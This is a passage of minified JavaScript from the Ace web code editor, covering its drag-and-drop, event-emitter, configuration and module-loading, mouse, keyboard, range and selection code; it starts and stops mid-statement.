t=e.editor,n=r.createElement(\"img\");n.src=\"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\",s.isOpera&&(n.style.cssText=\"width:1px;height:1px;position:fixed;top:0;left:0;z-index:2147483647;opacity:0;\");var f=[\"dragWait\",\"dragWaitEnd\",\"startDrag\",\"dragReadyEnd\",\"onMouseDrag\"];f.forEach(function(t){e[t]=this[t]},this),t.addEventListener(\"mousedown\",this.onMouseDown.bind(e));var c=t.container,h,p,d,v,m,g,y=0,b,w,E,S,x;this.onDragStart=function(e){if(this.cancelDrag||!c.draggable){var r=this;return setTimeout(function(){r.startSelect(),r.captureMouse(e)},0),e.preventDefault()}m=t.getSelectionRange();var i=e.dataTransfer;i.effectAllowed=t.getReadOnly()?\"copy\":\"copyMove\",s.isOpera&&(t.container.appendChild(n),n.scrollTop=0),i.setDragImage&&i.setDragImage(n,0,0),s.isOpera&&t.container.removeChild(n),i.clearData(),i.setData(\"Text\",t.session.getTextRange()),w=!0,this.setState(\"drag\")},this.onDragEnd=function(e){c.draggable=!1,w=!1,this.setState(null);if(!t.getReadOnly()){var n=e.dataTransfer.dropEffect;!b&&n==\"move\"&&t.session.remove(t.getSelectionRange()),t.renderer.$cursorLayer.setBlinking(!0)}this.editor.unsetStyle(\"ace_dragging\"),this.editor.renderer.setCursorStyle(\"\")},this.onDragEnter=function(e){if(t.getReadOnly()||!M(e.dataTransfer))return;return p=e.clientX,d=e.clientY,h||k(),y++,e.dataTransfer.dropEffect=b=_(e),i.preventDefault(e)},this.onDragOver=function(e){if(t.getReadOnly()||!M(e.dataTransfer))return;return p=e.clientX,d=e.clientY,h||(k(),y++),A!==null&&(A=null),e.dataTransfer.dropEffect=b=_(e),i.preventDefault(e)},this.onDragLeave=function(e){y--;if(y<=0&&h)return L(),b=null,i.preventDefault(e)},this.onDrop=function(e){if(!g)return;var n=e.dataTransfer;if(w)switch(b){case\"move\":m.contains(g.row,g.column)?m={start:g,end:g}:m=t.moveText(m,g);break;case\"copy\":m=t.moveText(m,g,!0)}else{var r=n.getData(\"Text\");m={start:g,end:t.session.insert(g,r)},t.focus(),b=null}return L(),i.preventDefault(e)},i.addListener(c,\"dragstart\",this.onDragStart.bind(e)),i.addListener(c,\"dragend\",this.onDragEnd.bind(e)),i.addListener(c,\"dragenter\",this.onDragEnter.bind(e)),i.addListener(c,\"dragover\",this.onDragOver.bind(e)),i.addListener(c,\"dragleave\",this.onDragLeave.bind(e)),i.addListener(c,\"drop\",this.onDrop.bind(e));var A=null}function l(e,t,n,r){return Math.sqrt(Math.pow(n-e,2)+Math.pow(r-t,2))}var r=e(\"../lib/dom\"),i=e(\"../lib/event\"),s=e(\"../lib/useragent\"),o=200,u=200,a=5;(function(){this.dragWait=function(){var e=Date.now()-this.mousedownEvent.time;e>this.editor.getDragDelay()&&this.startDrag()},this.dragWaitEnd=function(){var e=this.editor.container;e.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()),this.selectEnd()},this.dragReadyEnd=function(e){this.editor.renderer.$cursorLayer.setBlinking(!this.editor.getReadOnly()),this.editor.unsetStyle(\"ace_dragging\"),this.editor.renderer.setCursorStyle(\"\"),this.dragWaitEnd()},this.startDrag=function(){this.cancelDrag=!1;var e=this.editor,t=e.container;t.draggable=!0,e.renderer.$cursorLayer.setBlinking(!1),e.setStyle(\"ace_dragging\");var n=s.isWin?\"default\":\"move\";e.renderer.setCursorStyle(n),this.setState(\"dragReady\")},this.onMouseDrag=function(e){var t=this.editor.container;if(s.isIE&&this.state==\"dragReady\"){var n=l(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);n>3&&t.dragDrop()}if(this.state===\"dragWait\"){var n=l(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y);n>0&&(t.draggable=!1,this.startSelect(this.mousedownEvent.getDocumentPosition()))}},this.onMouseDown=function(e){if(!this.$dragEnabled)return;this.mousedownEvent=e;var t=this.editor,n=e.inSelection(),r=e.getButton(),i=e.domEvent.detail||1;if(i===1&&r===0&&n){if(e.editor.inMultiSelectMode&&(e.getAccelKey()||e.getShiftKey()))return;this.mousedownEvent.time=Date.now();var o=e.domEvent.target||e.domEvent.srcElement;\"unselectable\"in o&&(o.unselectable=\"on\");if(t.getDragDelay()){if(s.isWebKit){this.cancelDrag=!0;var u=t.container;u.draggable=!0}this.setState(\"dragWait\")}else this.startDrag();this.captureMouse(e,this.onMouseDrag.bind(this)),e.defaultPrevented=!0}}}).call(f.prototype),t.DragdropHandler=f}),define(\"ace/lib/net\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"./dom\");t.get=function(e,t){var n=new XMLHttpRequest;n.open(\"GET\",e,!0),n.onreadystatechange=function(){n.readyState===4&&t(n.responseText)},n.send(null)},t.loadScript=function(e,t){var n=r.getDocumentHead(),i=document.createElement(\"script\");i.src=e,n.appendChild(i),i.onload=i.onreadystatechange=function(e,n){if(n||!i.readyState||i.readyState==\"loaded\"||i.readyState==\"complete\")i=i.onload=i.onreadystatechange=null,n||t()}},t.qualifyURL=function(e){var t=document.createElement(\"a\");return t.href=e,t.href}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/lib/app_config\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"no use strict\";function o(e){typeof console!=\"undefined\"&&console.warn&&console.warn.apply(console,arguments)}function u(e,t){var n=new Error(e);n.data=t,typeof console==\"object\"&&console.error&&console.error(n),setTimeout(function(){throw n})}var r=e(\"./oop\"),i=e(\"./event_emitter\").EventEmitter,s={setOptions:function(e){Object.keys(e).forEach(function(t){this.setOption(t,e[t])},this)},getOptions:function(e){var t={};return e?Array.isArray(e)||(t=e,e=Object.keys(t)):e=Object.keys(this.$options),e.forEach(function(e){t[e]=this.getOption(e)},this),t},setOption:function(e,t){if(this[\"$\"+e]===t)return;var n=this.$options[e];if(!n)return o('misspelled option \"'+e+'\"');if(n.forwardTo)return this[n.forwardTo]&&this[n.forwardTo].setOption(e,t);n.handlesSet||(this[\"$\"+e]=t),n&&n.set&&n.set.call(this,t)},getOption:function(e){var t=this.$options[e];return t?t.forwardTo?this[t.forwardTo]&&this[t.forwardTo].getOption(e):t&&t.get?t.get.call(this):this[\"$\"+e]:o('misspelled option \"'+e+'\"')}},a=function(){this.$defaultOptions={}};(function(){r.implement(this,i),this.defineOptions=function(e,t,n){return e.$options||(this.$defaultOptions[t]=e.$options={}),Object.keys(n).forEach(function(t){var r=n[t];typeof r==\"string\"&&(r={forwardTo:r}),r.name||(r.name=t),e.$options[r.name]=r,\"initialValue\"in r&&(e[\"$\"+r.name]=r.initialValue)}),r.implement(e,s),this},this.resetOptions=function(e){Object.keys(e.$options).forEach(function(t){var n=e.$options[t];\"value\"in n&&e.setOption(t,n.value)})},this.setDefaultValue=function(e,t,n){var r=this.$defaultOptions[e]||(this.$defaultOptions[e]={});r[t]&&(r.forwardTo?this.setDefaultValue(r.forwardTo,t,n):r[t].value=n)},this.setDefaultValues=function(e,t){Object.keys(t).forEach(function(n){this.setDefaultValue(e,n,t[n])},this)},this.warn=o,this.reportError=u}).call(a.prototype),t.AppConfig=a}),define(\"ace/config\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/lib/net\",\"ace/lib/app_config\"],function(e,t,n){\"no use strict\";function f(r){a.packaged=r||e.packaged||n.packaged||u.define&&define.packaged;if(!u.document)return\"\";var i={},s=\"\",o=document.currentScript||document._currentScript,f=o&&o.ownerDocument||document,c=f.getElementsByTagName(\"script\");for(var h=0;h<c.length;h++){var p=c[h],d=p.src||p.getAttribute(\"src\");if(!d)continue;var v=p.attributes;for(var m=0,g=v.length;m<g;m++){var y=v[m];y.name.indexOf(\"data-ace-\")===0&&(i[l(y.name.replace(/^data-ace-/,\"\"))]=y.value)}var b=d.match(/^(.*)\\/ace(\\-\\w+)?\\.js(\\?|$)/);b&&(s=b[1])}s&&(i.base=i.base||s,i.packaged=!0),i.basePath=i.base,i.workerPath=i.workerPath||i.base,i.modePath=i.modePath||i.base,i.themePath=i.themePath||i.base,delete i.base;for(var w in i)typeof i[w]!=\"undefined\"&&t.set(w,i[w])}function l(e){return e.replace(/-(.)/g,function(e,t){return t.toUpperCase()})}var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./lib/net\"),o=e(\"./lib/app_config\").AppConfig;n.exports=t=new o;var u=function(){return this||typeof window!=\"undefined\"&&window}(),a={packaged:!1,workerPath:null,modePath:null,themePath:null,basePath:\"\",suffix:\".js\",$moduleUrls:{}};t.get=function(e){if(!a.hasOwnProperty(e))throw new Error(\"Unknown config key: \"+e);return a[e]},t.set=function(e,t){if(!a.hasOwnProperty(e))throw new Error(\"Unknown config key: \"+e);a[e]=t},t.all=function(){return r.copyObject(a)},t.moduleUrl=function(e,t){if(a.$moduleUrls[e])return a.$moduleUrls[e];var n=e.split(\"/\");t=t||n[n.length-2]||\"\";var r=t==\"snippets\"?\"/\":\"-\",i=n[n.length-1];if(t==\"worker\"&&r==\"-\"){var s=new RegExp(\"^\"+t+\"[\\\\-_]|[\\\\-_]\"+t+\"$\",\"g\");i=i.replace(s,\"\")}(!i||i==t)&&n.length>1&&(i=n[n.length-2]);var o=a[t+\"Path\"];return o==null?o=a.basePath:r==\"/\"&&(t=r=\"\"),o&&o.slice(-1)!=\"/\"&&(o+=\"/\"),o+t+r+i+this.get(\"suffix\")},t.setModuleUrl=function(e,t){return a.$moduleUrls[e]=t},t.$loading={},t.loadModule=function(n,r){var i,o;Array.isArray(n)&&(o=n[0],n=n[1]);try{i=e(n)}catch(u){}if(i&&!t.$loading[n])return r&&r(i);t.$loading[n]||(t.$loading[n]=[]),t.$loading[n].push(r);if(t.$loading[n].length>1)return;var a=function(){e([n],function(e){t._emit(\"load.module\",{name:n,module:e});var r=t.$loading[n];t.$loading[n]=null,r.forEach(function(t){t&&t(e)})})};if(!t.get(\"packaged\"))return a();s.loadScript(t.moduleUrl(n,o),a)},t.init=f}),define(\"ace/mouse/mouse_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/mouse/default_handlers\",\"ace/mouse/default_gutter_handler\",\"ace/mouse/mouse_event\",\"ace/mouse/dragdrop_handler\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"./default_handlers\").DefaultHandlers,o=e(\"./default_gutter_handler\").GutterHandler,u=e(\"./mouse_event\").MouseEvent,a=e(\"./dragdrop_handler\").DragdropHandler,f=e(\"../config\"),l=function(e){var t=this;this.editor=e,new s(this),new o(this),new a(this);var n=function(t){(!document.hasFocus||!document.hasFocus())&&window.focus(),e.focus(),e.isFocused()||window.focus()},u=e.renderer.getMouseEventTarget();r.addListener(u,\"click\",this.onMouseEvent.bind(this,\"click\")),r.addListener(u,\"mousemove\",this.onMouseMove.bind(this,\"mousemove\")),r.addMultiMouseDownListener(u,[400,300,250],this,\"onMouseEvent\"),e.renderer.scrollBarV&&(r.addMultiMouseDownListener(e.renderer.scrollBarV.inner,[400,300,250],this,\"onMouseEvent\"),r.addMultiMouseDownListener(e.renderer.scrollBarH.inner,[400,300,250],this,\"onMouseEvent\"),i.isIE&&(r.addListener(e.renderer.scrollBarV.element,\"mousedown\",n),r.addListener(e.renderer.scrollBarH.element,\"mousedown\",n))),r.addMouseWheelListener(e.container,this.onMouseWheel.bind(this,\"mousewheel\")),r.addTouchMoveListener(e.container,this.onTouchMove.bind(this,\"touchmove\"));var f=e.renderer.$gutter;r.addListener(f,\"mousedown\",this.onMouseEvent.bind(this,\"guttermousedown\")),r.addListener(f,\"click\",this.onMouseEvent.bind(this,\"gutterclick\")),r.addListener(f,\"dblclick\",this.onMouseEvent.bind(this,\"gutterdblclick\")),r.addListener(f,\"mousemove\",this.onMouseEvent.bind(this,\"guttermousemove\")),r.addListener(u,\"mousedown\",n),r.addListener(f,\"mousedown\",function(t){return e.focus(),r.preventDefault(t)}),e.on(\"mousemove\",function(n){if(t.state||t.$dragDelay||!t.$dragEnabled)return;var r=e.renderer.screenToTextCoordinates(n.x,n.y),i=e.session.selection.getRange(),s=e.renderer;!i.isEmpty()&&i.insideStart(r.row,r.column)?s.setCursorStyle(\"default\"):s.setCursorStyle(\"\")})};(function(){this.onMouseEvent=function(e,t){this.editor._emit(e,new u(t,this.editor))},this.onMouseMove=function(e,t){var n=this.editor._eventRegistry&&this.editor._eventRegistry.mousemove;if(!n||!n.length)return;this.editor._emit(e,new u(t,this.editor))},this.onMouseWheel=function(e,t){var n=new u(t,this.editor);n.speed=this.$scrollSpeed*2,n.wheelX=t.wheelX,n.wheelY=t.wheelY,this.editor._emit(e,n)},this.onTouchMove=function(e,t){var n=new u(t,this.editor);n.speed=1,n.wheelX=t.wheelX,n.wheelY=t.wheelY,this.editor._emit(e,n)},this.setState=function(e){this.state=e},this.captureMouse=function(e,t){this.x=e.x,this.y=e.y,this.isMousePressed=!0;var n=this.editor.renderer;n.$keepTextAreaAtCursor&&(n.$keepTextAreaAtCursor=null);var s=this,o=function(e){if(!e)return;if(i.isWebKit&&!e.which&&s.releaseMouse)return s.releaseMouse();s.x=e.clientX,s.y=e.clientY,t&&t(e),s.mouseEvent=new u(e,s.editor),s.$mouseMoved=!0},a=function(e){clearInterval(l),f(),s[s.state+\"End\"]&&s[s.state+\"End\"](e),s.state=\"\",n.$keepTextAreaAtCursor==null&&(n.$keepTextAreaAtCursor=!0,n.$moveTextAreaToCursor()),s.isMousePressed=!1,s.$onCaptureMouseMove=s.releaseMouse=null,e&&s.onMouseEvent(\"mouseup\",e)},f=function(){s[s.state]&&s[s.state](),s.$mouseMoved=!1};if(i.isOldIE&&e.domEvent.type==\"dblclick\")return setTimeout(function(){a(e)});s.$onCaptureMouseMove=o,s.releaseMouse=r.capture(this.editor.container,o,a);var l=setInterval(f,20)},this.releaseMouse=null,this.cancelContextMenu=function(){var e=function(t){if(t&&t.domEvent&&t.domEvent.type!=\"contextmenu\")return;this.editor.off(\"nativecontextmenu\",e),t&&t.domEvent&&r.stopEvent(t.domEvent)}.bind(this);setTimeout(e,10),this.editor.on(\"nativecontextmenu\",e)}}).call(l.prototype),f.defineOptions(l.prototype,\"mouseHandler\",{scrollSpeed:{initialValue:2},dragDelay:{initialValue:i.isMac?150:0},dragEnabled:{initialValue:!0},focusTimout:{initialValue:0},tooltipFollowsMouse:{initialValue:!0}}),t.MouseHandler=l}),define(\"ace/mouse/fold_handler\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e){e.on(\"click\",function(t){var n=t.getDocumentPosition(),r=e.session,i=r.getFoldAt(n.row,n.column,1);i&&(t.getAccelKey()?r.removeFold(i):r.expandFold(i),t.stop())}),e.on(\"gutterclick\",function(t){var n=e.renderer.$gutterLayer.getRegion(t);if(n==\"foldWidgets\"){var r=t.getDocumentPosition().row,i=e.session;i.foldWidgets&&i.foldWidgets[r]&&e.session.onFoldWidgetClick(r,t),e.isFocused()||e.focus(),t.stop()}}),e.on(\"gutterdblclick\",function(t){var n=e.renderer.$gutterLayer.getRegion(t);if(n==\"foldWidgets\"){var r=t.getDocumentPosition().row,i=e.session,s=i.getParentFoldRangeData(r,!0),o=s.range||s.firstRange;if(o){r=o.start.row;var u=i.getFoldAt(r,i.getLine(r).length,1);u?i.removeFold(u):(i.addFold(\"...\",o),e.renderer.scrollCursorIntoView({row:o.start.row,column:0}))}t.stop()}})}t.FoldHandler=r}),define(\"ace/keyboard/keybinding\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/event\"],function(e,t,n){\"use strict\";var r=e(\"../lib/keys\"),i=e(\"../lib/event\"),s=function(e){this.$editor=e,this.$data={editor:e},this.$handlers=[],this.setDefaultHandler(e.commands)};(function(){this.setDefaultHandler=function(e){this.removeKeyboardHandler(this.$defaultHandler),this.$defaultHandler=e,this.addKeyboardHandler(e,0)},this.setKeyboardHandler=function(e){var t=this.$handlers;if(t[t.length-1]==e)return;while(t[t.length-1]&&t[t.length-1]!=this.$defaultHandler)this.removeKeyboardHandler(t[t.length-1]);this.addKeyboardHandler(e,1)},this.addKeyboardHandler=function(e,t){if(!e)return;typeof e==\"function\"&&!e.handleKeyboard&&(e.handleKeyboard=e);var n=this.$handlers.indexOf(e);n!=-1&&this.$handlers.splice(n,1),t==undefined?this.$handlers.push(e):this.$handlers.splice(t,0,e),n==-1&&e.attach&&e.attach(this.$editor)},this.removeKeyboardHandler=function(e){var t=this.$handlers.indexOf(e);return t==-1?!1:(this.$handlers.splice(t,1),e.detach&&e.detach(this.$editor),!0)},this.getKeyboardHandler=function(){return this.$handlers[this.$handlers.length-1]},this.getStatusText=function(){var e=this.$data,t=e.editor;return this.$handlers.map(function(n){return n.getStatusText&&n.getStatusText(t,e)||\"\"}).filter(Boolean).join(\" \")},this.$callKeyboardHandlers=function(e,t,n,r){var s,o=!1,u=this.$editor.commands;for(var a=this.$handlers.length;a--;){s=this.$handlers[a].handleKeyboard(this.$data,e,t,n,r);if(!s||!s.command)continue;s.command==\"null\"?o=!0:o=u.exec(s.command,this.$editor,s.args,r),o&&r&&e!=-1&&s.passEvent!=1&&s.command.passEvent!=1&&i.stopEvent(r);if(o)break}return!o&&e==-1&&(s={command:\"insertstring\"},o=u.exec(\"insertstring\",this.$editor,t)),o&&this.$editor._signal(\"keyboardActivity\",s),o},this.onCommandKey=function(e,t,n){var i=r.keyCodeToString(n);this.$callKeyboardHandlers(t,i,n,e)},this.onTextInput=function(e){this.$callKeyboardHandlers(-1,e)}}).call(s.prototype),t.KeyBinding=s}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/selection\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=function(e){this.session=e,this.doc=e.getDocument(),this.clearSelection(),this.lead=this.selectionLead=this.doc.createAnchor(0,0),this.anchor=this.selectionAnchor=this.doc.createAnchor(0,0);var t=this;this.lead.on(\"change\",function(e){t._emit(\"changeCursor\"),t.$isEmpty||t._emit(\"changeSelection\"),!t.$keepDesiredColumnOnChange&&e.old.column!=e.value.column&&(t.$desiredColumn=null)}),this.selectionAnchor.on(\"change\",function(){t.$isEmpty||t._emit(\"changeSelection\")})};(function(){r.implement(this,s),this.isEmpty=function(){return this.$isEmpty||this.anchor.row==this.lead.row&&this.anchor.column==this.lead.column},this.isMultiLine=function(){return this.isEmpty()?!1:this.getRange().isMultiLine()},this.getCursor=function(){return this.lead.getPosition()},this.setSelectionAnchor=function(e,t){this.anchor.setPosition(e,t),this.$isEmpty&&(this.$isEmpty=!1,this._emit(\"changeSelection\"))},this.getSelectionAnchor=function(){return this.$isEmpty?this.getSelectionLead():this.anchor.getPosition()},this.getSelectionLead=function(){return this.lead.getPosition()},this.shiftSelection=function(e){if(this.$isEmpty){this.moveCursorTo(this.lead.row,this.lead.column+e);return}var t=this.getSelectionAnchor(),n=this.getSelectionLead(),r=this.isBackwards();(!r||t.column!==0)&&this.setSelectionAnchor(t.row,t.column+e),(r||n.column!==0)&&this.$moveSelection(function(){this.moveCursorTo(n.row,n.column+e)})},this.isBackwards=function(){var e=this.anchor,t=this.lead;return e.row>t.row||e.row==t.row&&e.column>t.column},this.getRange=function(){var e=this.anchor,t=this.lead;return this.isEmpty()?o.fromPoints(t,t):this.isBackwards()?o.fromPoints(t,e):o.fromPoints(e,t)},this.clearSelection=function(){this.$isEmpty||(this.$isEmpty=!0,this._emit(\"changeSelection\"))},this.selectAll=function(){var e=this.doc.getLength()-1;this.setSelectionAnchor(0,0),this.moveCursorTo(e,this.doc.getLine(e).length)},this.setRange=this.setSelectionRange=function(e,t){t?(this.setSelectionAnchor(e.end.row,e.end.column),this.selectTo(e.start.row,e.start.column)):(this.setSelectionAnchor(e.start.row,e.start.column),this.selectTo(e.end.row,e.end.column)),this.getRange().isEmpty()&&(this.$isEmpty=!0),this.$desiredColumn=null},this.$moveSelection=function(e){var t=this.lead;this.$isEmpty&&this.setSelectionAnchor(t.row,t.column),e.call(this)},this.selectTo=function(e,t){this.$moveSelection(function(){this.moveCursorTo(e,t)})},this.selectToPosition=function(e){this.$moveSelection(function(){this.moveCursorToPosition(e)})},this.moveTo=function(e,t){this.clearSelection(),this.moveCursorTo(e,t)},this.moveToPosition=function(e){this.clearSelection(),this.moveCursorToPosition(e)},this.selectUp=function(){this.$moveSelection(this.moveCursorUp)},this.selectDown=function(){this.$moveSelection(this.moveCursorDown)},this.selectRight=function(){this.$moveSelection(this.moveCursorRight)},this.selectLeft=function(){this.$moveSelection(this.moveCursorLeft)},this.selectLineStart=function(){this.$moveSelection(this.moveCursorLineStart)},this.selectLineEnd=function(){this.$moveSelection(this.moveCursorLineEnd)},this.selectFileEnd=function(){this.$moveSelection(this.moveCursorFileEnd)},this.selectFileStart=function(){this.$moveSelection(this.moveCursorFileStart)},this.selectWordRight=function(){this.$moveSelection(this.moveCursorWordRight)},this.selectWordLeft=function(){this.$moveSelection(this.moveCursorWordLeft)},this.getWordRange=function(e,t){if(typeof t==\"undefined\"){var n=e||this.lead;e=n.row,t=n.column}return this.session.getWordRange(e,t)},this.selectWord=function(){this.setSelectionRange(this.getWordRange())},this.selectAWord=function(){var e=this.getCursor(),t=this.session.getAWordRange(e.row,e.column);this.setSelectionRange(t)},this.getLineRange=function(e,t){var n=typeof e==\"number\"?e:this.lead.row,r,i=this.session.getFoldLine(n);return i?(n=i.start.row,r=i.end.row):r=n,t===!0?new o(n,0,r,this.session.getLine(r).length):new o(n,0,r+1,0)},this.selectLine=function(){this.setSelectionRange(this.getLineRange())},this.moveCursorUp=function(){this.moveCursorBy(-1,0)},this.moveCursorDown=function(){this.moveCursorBy(1,0)},this.moveCursorLeft=function(){var e=this.lead.getPosition(),t;if(t=this.session.getFoldAt(e.row,e.column,-1))this.moveCursorTo(t.start.row,t.start.column);else if(e.column===0)e.row>0&&this.moveCursorTo(e.row-1,this.doc.getLine(e.row-1).length);else{var n=this.session.getTabSize();this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(e.column-n,e.column).split(\" \").length-1==n?this.moveCursorBy(0,-n):this.moveCursorBy(0,-1)}},this.moveCursorRight=function(){var e=this.lead.getPosition(),t;if(t=this.session.getFoldAt(e.row,e.column,1))this.moveCursorTo(t.end.row,t.end.column);else if(this.lead.column==this.doc.getLine(this.lead.row).length)this.lead.row<this.doc.getLength()-1&&this.moveCursorTo(this.lead.row+1,0);else{var n=this.session.getTabSize(),e=this.lead;this.session.isTabStop(e)&&this.doc.getLine(e.row).slice(e.column,e.column+n).split(\" \").length-1==n?this.moveCursorBy(0,n):this.moveCursorBy(0,1)}},this.moveCursorLineStart=function(){var e=this.lead.row,t=this.lead.column,n=this.session.documentToScreenRow(e,t),r=this.session.screenToDocumentPosition(n,0),i=this.session.getDisplayLine(e,null,r.row,r.column),s=i.match(/^\\s*/);s[0].length!=t&&!this.session.$useEmacsStyleLineStart&&(r.column+=s[0].length),this.moveCursorToPosition(r)},this.moveCursorLineEnd=function(){var e=this.lead,t=this.session.getDocumentLastRowColumnPosition(e.row,e.column);if(this.lead.column==t.column){var n=this.session.getLine(t.row);if(t.column==n.length){var r=n.search(/\\s+$/);r>0&&(t.column=r)}}this.moveCursorTo(t.row,t.column)},this.moveCursorFileEnd=function(){var e=this.doc.getLength()-1,t=this.doc.getLine(e).length;this.moveCursorTo(e,t)},this.moveCursorFileStart=function(){this.moveCursorTo(0,0)},this.moveCursorLongWordRight=function(){var e=this.lead.row,t=this.lead.column,n=this.doc.getLine(e),r=n.substring(t),i;this.session.nonTokenRe.lastIndex=0,this.session.tokenRe.lastIndex=0;var 